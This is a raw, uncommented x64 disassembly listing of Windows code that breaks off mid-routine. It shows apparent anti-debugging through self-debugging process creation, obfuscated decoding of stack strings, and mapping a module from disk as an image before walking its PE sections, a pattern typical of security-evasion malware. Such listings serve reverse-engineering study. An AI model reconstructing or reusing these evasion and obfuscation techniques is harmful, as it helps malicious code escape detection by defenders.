xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x1260]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11f0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x10002
mov edx, dword [rbp + 0x11e4]
mov ecx, dword [rbp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
or edx, 0xffffffff
lea rcx, [rbp + 0x1260]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
sub rbx, r15
jne 0x1401dcd2b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1180], xmm0
mov qword [rbp + 0x1190], rax
mov byte [rbp + 0x340], WSASetLastError
mov byte [rbp + 0x341], 0x75
mov byte [rbp + 0x342], 0x66
mov byte [rbp + 0x343], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x344], 0x68
mov byte [rbp + 0x345], Ordinal_45
mov byte [rbp + 0x346], 0x62
mov byte [rbp + 0x347], WSASetLastError
mov byte [rbp + 0x348], 0x64
mov byte [rbp + 0x349], 9
mov dword [rbp + 0x34a], eax
mov word [rbp + 0x34e], ax
mov byte [rbp + 0x350], al
movabs r14, 0x4f724e3b7386880
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x11
jae 0x1401dd47d
movzx r8d, byte [rbp + r10 + 0x340]
mov edx, r8d
cmp rbx, r10
ja 0x1401dd474
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401dcec6
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x80
jmp 0x1401dced9
je 0x1401dd413
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401dd3c6
cmp r9, r10
ja 0x1401dd46b
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401dcf0e
movabs rcx, 0x684606ae07a09280
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
add dil, cl
jmp 0x1401dcf21
je 0x1401dd37c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401dd35c
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401dcfcc
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x1401dcfad
lea rbx, [r9 + 0x400]
lea rax, [rbx + 0x800]
cmp rbx, rax
jb 0x1401dd447
add rbx, 0x800
lea r9, [rbx + 0x400]
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401dcf9e
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401dcf7e
lea rbx, [r9 + 3]
lea r9, [rbx + 3]
jmp 0x1401dcf2e
movabs rdi, 0x69a7ac3a65fae00
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
add dil, r8b
jmp 0x1401dd325
movabs rcx, 0xf2bde734c97e0c00
jmp 0x1401dd08a
movabs rcx, 0x2231d9d8ba3ce700
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401dd39a
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401dd07e
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
lea rax, [rbx + r9]
cmp rax, 0x10
je 0x1401dd303
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x1401dd122
movabs rcx, 0x2ee3ca42a870e680
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
cmp rbx, 0x10
jae 0x1401dd2a5
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x1401dd1fd
movabs rcx, 0x9729d0f0b0117900
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
cmp r9, 0x10
jb 0x1401dd295
movabs rcx, 0xfa78b2bb0079a300
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
jmp 0x1401dd39a
jne 0x1401dd09f
movabs rcx, 0xd08c0d5c0f412500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401dd430
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401dd0c7
movabs rcx, 0xda7a57237db1f600
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401dd3e3
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401dd0f0
movabs rcx, 0xc21c808a5e60b00
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401dd3c1
mov cl, dil
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401dcfec
movabs rdx, 0x1ffe5b9782c7ad00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x1401dd39a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401dd14b
movabs rdx, 0x38d2140a16e1b780
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
jmp 0x1401dd11a
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401dd177
movabs rcx, 0x4caea798f3c35980
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401dd3c1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401dd1a4
movabs rcx, 0x6a7984ef3f15cc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401dd2f1
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401dd1d0
movabs rcx, 0x7467ceb6ad869d80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401dd325
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401dd023
movabs rcx, 0x884462458a683f80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401dd42c
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401dd215
movabs rcx, 0xa1181ab81e824a00
jmp 0x1401dd08a
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401dd239
movabs rcx, 0xb4f4ae46fb63ec00
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x1401dd321
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401dd261
movabs rdx, 0xd2bf8b9d46b65f00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x1401dd2c5
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401dd279
movabs rcx, 0xdcadd564b5273000
jmp 0x1401dd0da
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401dd053
movabs rdx, 0xf08a68f39208d200
jmp 0x1401dd10a
mov byte [rbp + r10 + 0x340], cl
mov dil, cl
jmp 0x1401dd43f
movabs rdx, 0x466fc826eea7400
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r8b
movabs rcx, 0x95e21662622dc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, dil
mov byte [rbp + r10 + 0x340], r8b
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401dd43f
movabs rcx, 0xe554649dd5b4500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x340]
lea edi, [r8 + rcx]
movabs rdx, 0x134c6b2d9493ad80
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x340], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401dd3e3
movabs rcx, 0x7c229a3ce4823480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401dd3be
movabs rcx, 0x7234507576116380
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0xff6fd79eb7b20b80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r10 + 0x340], cl
add r9, r15
sub r10, r15
jmp 0x1401dd43f
movabs rcx, 0x18d3b872941a0a80
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0x184390114bcc1600
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r10 + 0x340], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401dd430
movabs rcx, 0xee56eab25a93980
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x340]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401dce84
movabs rcx, 0x8a77e086c1dd7980
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401dce6f
lea rcx, [rbp + 0x1663940]
jmp 0x1401dd484
lea rcx, [rbp + 0x15ea1c0]
jmp 0x1401dd484
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x48], rax
mov r9d, Ordinal_27
lea r8, [rbp + 0x1180]
mov rdx, rax
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rbp + 0x1180]
mov qword [rbp - 0x50], rsi
mov byte [rbp + 0x5b0], 0xb3
mov byte [rbp + 0x5b1], 0x9b
mov byte [rbp + 0x5b2], 0xb8
mov byte [rbp + 0x5b3], 0x62
mov byte [rbp + 0x5b4], __WSAFDIsSet
mov byte [rbp + 0x5b5], 0x9b
mov byte [rbp + 0x5b6], Ordinal_143
mov byte [rbp + 0x5b7], 0x9e
mov byte [rbp + 0x5b8], 0x67
mov byte [rbp + 0x5b9], 0x98
mov byte [rbp + 0x5ba], 0x80
mov byte [rbp + 0x5bb], __WSAFDIsSet
mov byte [rbp + 0x5bc], WSASetLastError
mov byte [rbp + 0x5bd], __WSAFDIsSet
mov byte [rbp + 0x5be], __WSAFDIsSet
mov byte [rbp + 0x5bf], 0x9c
mov byte [rbp + 0x5c0], __WSAFDIsSet
mov byte [rbp + 0x5c1], Ordinal_211
mov byte [rbp + 0x5c2], Ordinal_211
mov byte [rbp + 0x5c3], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x5c4], 0x88
mov byte [rbp + 0x5c5], Ordinal_143
mov byte [rbp + 0x5c6], 0x9c
mov byte [rbp + 0x5c7], 0x83
mov byte [rbp + 0x5c8], 0x82
mov byte [rbp + 0x5c9], Ordinal_211
mov byte [rbp + 0x5ca], 0x98
mov byte [rbp + 0x5cb], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x5cc], Ordinal_143
mov byte [rbp + 0x5cd], 0xf1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5ce], xmm0
mov byte [rbp + 0x5de], al
movabs r14, 0xcae032bf384252dd
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x2f
jae 0x1401dddb4
movzx r8d, byte [rbp + r10 + 0x5b0]
mov edx, r8d
cmp rbx, r10
ja 0x1401dddab
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401dd5fb
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xb
jmp 0x1401dd61b
je 0x1401ddd29
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401ddcd6
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1401ddcb3
cmp r9, r10
ja 0x1401ddda2
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401dd64b
movabs rcx, 0xa46429af9d70cc21
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x19
add cl, r8b
jmp 0x1401dd688
je 0x1401ddc6c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401ddc4c
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401ddc1c
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1401ddbc7
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401ddba4
mov cl, dil
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401dd837
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401dd810
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401dd7e9
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x1401dd7c8
lea rax, [r9 + 0x200]
cmp rbx, rax
je 0x1401dd7a5
lea rbx, [r9 + 0x61]
lea r9, [rbx + 0x200]
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401ddd7f
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401ddd5c
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401dd787
lea rbx, [r9 + 1]
lea r9, [rbx + 0x40]
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x1401dd773
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x1401dd75f
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x1401dd737
lea rbx, [r9 + 0x7a]
lea r9, [rbx + 0x3e8]
jmp 0x1401dd695
movabs rcx, 0xcc1fb7832973ca20
add rcx, r10
mov al, cl
and al, r8b
mov edi, reloc.WS2_32.dll_recv
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x1401ddb70
movabs rdx, 0xade8707d7e5d8f2
mov ecx, Ordinal_50
jmp 0x1401dd942
movabs rdx, 0x751e218967613338
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401dd912
movabs rcx, 0xe8fcbe4edd90ef2d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3b
jmp 0x1401dd8c5
movabs rcx, 0xda58fa1db0a4c8c6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401ddd45
movabs rdx, 0xed96fea57e0d8c24
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401ddb41
movabs rdx, 0xc21633a89d0440b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ddcae
movabs rdx, 0x2c55ce2a2c7f9af6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ddc8a
lea rax, [r9 + 0x10]
cmp rbx, rax
jae 0x1401dd8fa
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xb
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 0x41
je 0x1401ddb78
lea rax, [r9 + 0x400]
cmp rbx, rax
jbe 0x1401dd9b6
movabs rcx, 0x576c179067cdbea9
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x61
add cl, r8b
cmp rbx, 3
jae 0x1401ddb1e
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x1401dda96
movabs rdx, 0xfbd04140053e8aca
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
cmp r9, 9
jb 0x1401ddb0e
movabs rcx, 0xd55438306a6d040e
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401ddc8a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401dd92a
movabs rdx, 0x48c8535f3ae19842
mov ecx, Ordinal_27
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ddd45
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401dd95a
movabs rdx, 0xde88b8ddab663dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401ddcf3
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401dd986
movabs rcx, 0x358a4ed76d78d4e4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x1401ddb47
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401dd857
movabs rcx, 0xcb4ab455ddfd7a9e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x1401ddcd1
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401dd9e2
movabs rcx, 0xed2c7d0ed8526463
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4b
jmp 0x1401ddc8a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401dda0e
movabs rcx, 0x18ad480bb95bafd7
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1f
jmp 0x1401ddcd1
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401dda3a
movabs rcx, 0xd9ee78870ae9a105
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x1401ddc3a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401dda66
movabs rcx, 0x6faede057b6e46bf
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x39
jmp 0x1401ddbe5
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401dd891
movabs rcx, 0x9b2fa9025c779233
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x65
jmp 0x1401ddd45
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ddab3
movabs rdx, 0x9190a6be75c33084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401dd912
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ddadd
movabs rdx, 0xbd1171bb56cc7bf8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401ddb9c
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401dd8c8
movabs rdx, 0xe8923cb837d5c76c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1401dd757
mov byte [rbp + r10 + 0x5b0], cl
mov dil, cl
jmp 0x1401ddd54
movabs rdx, 0x6b149daedaf1a9c8
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0x5b0]
sub dil, al
sub dil, 0x78
add dil, dl
add dil, r8b
movabs rdx, 0x35f4d06e1333fca5
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, dil
sub cl, al
add cl, 0x7d
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r9
jmp 0x1401ddc3a
movabs rdx, 0xd5032d4b764f82
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x5b0]
add dil, dl
add dil, r8b
jmp 0x1401ddbe5
movabs rcx, 0xe827bb21921a9fab
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x53
jmp 0x1401ddd45
movabs rcx, 0xbca6f024b1115437
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7f
movabs rdx, 0xcbb535ec83b8a25f
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5b0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401ddcf3
movabs rcx, 0x26e68aa6408cae7d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401ddd54
movabs rcx, 0x65a55a2aeefebd4f
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x29
jmp 0x1401ddcd1
movabs rcx, 0x3a248f2e0df571db
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
movabs rcx, 0xa0346aefa2af56eb
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x6d
add cl, r8b
mov byte [rbp + r10 + 0x5b0], cl
add r9, r15
jmp 0x1401ddcd1
movabs rcx, 0xe322f9344be2daf3
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5b
sub r10, r15
jmp 0x1401ddd54
movabs rcx, 0xf660fdbc194b9e51
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
movabs rdx, 0x969568abbbfaf53c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401ddd45
movabs rcx, 0x60a0983da8c6f897
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x21
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401dd5b9
movabs rcx, 0x667a5d583a750cd1
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x49
jmp 0x1401dd5b4
movabs rcx, 0xd0b9f7d9c9f06717
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5f
jmp 0x1401dd5a4
lea rcx, [rbp + 0x14fb22c]
jmp 0x1401dddbb
lea rcx, [rbp + 0xd20509]
jmp 0x1401dddbb
lea rcx, [rbp + 0x5b0]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r15d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
mov qword [rbp - 0x58], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rbp - 0x68], rax
xor ecx, ecx
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [rcx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
xor eax, eax
movzx r15d, ax
cmp ax, word [r14 + 6]
jae 0x1401deaca
mov dil, byte [rsp + 0x50]
movzx eax, r15w
lea rsi, [rax*4 + 3]
movzx ecx, word [r14 + 0x14]
add rcx, r14
add rsi, rax
lea rsi, [rcx + rsi*8]
mov byte [rbp + 0x360], 0x54
mov byte [rbp + 0x361], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x362], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x363], reloc.WS2_32.dll_send
mov byte [rbp + 0x364], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x365], 0xa9
xor eax, eax
mov qword [rbp + 0x366], rax
mov word [rbp + 0x36e], ax
mov byte [rbp + 0x370], al
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x11
jae 0x1401dea32
movzx r8d, byte [rbp + r9 + 0x360]
mov rdx, r8
cmp rbx, r9
ja 0x1401dea29
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401ddefe
movabs r11, 0xb822fc2bccc844c5
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x63
jmp 0x1401ddf28
je 0x1401de9a0
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401de945
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401de8f3
movabs r11, 0xb822fc2bccc844c5
cmp r10, r9
ja 0x1401dea20
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x1401ddf60
movabs rdx, 0x1adeaf97cc6da429
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1f
jmp 0x1401de16a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401de8d3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401de8ae
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401de88b
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401de548
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401de521
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401de4fe
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401de4da
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401de4c6
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1401de49f
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401de47b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401de458
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401de434
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401de40d
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401ddf94
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401de9fc
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401de9d8
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401de198
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401de172
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401de14c
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401de341
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1401de321
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401de2fe
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401de2d2
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401ddf94
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x42]
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401de2be
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401de2aa
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401de287
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401de263
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401de24f
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401de22b
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401de207
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1401de1e4
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401de1bd
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401ddf94
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x80]
jmp 0x1401ddf94
movabs rdx, 0xfafeebc830bd56f7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
add dil, dl
jmp 0x1401ddf87
movabs rdx, 0x8ab8f370972ccd6d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
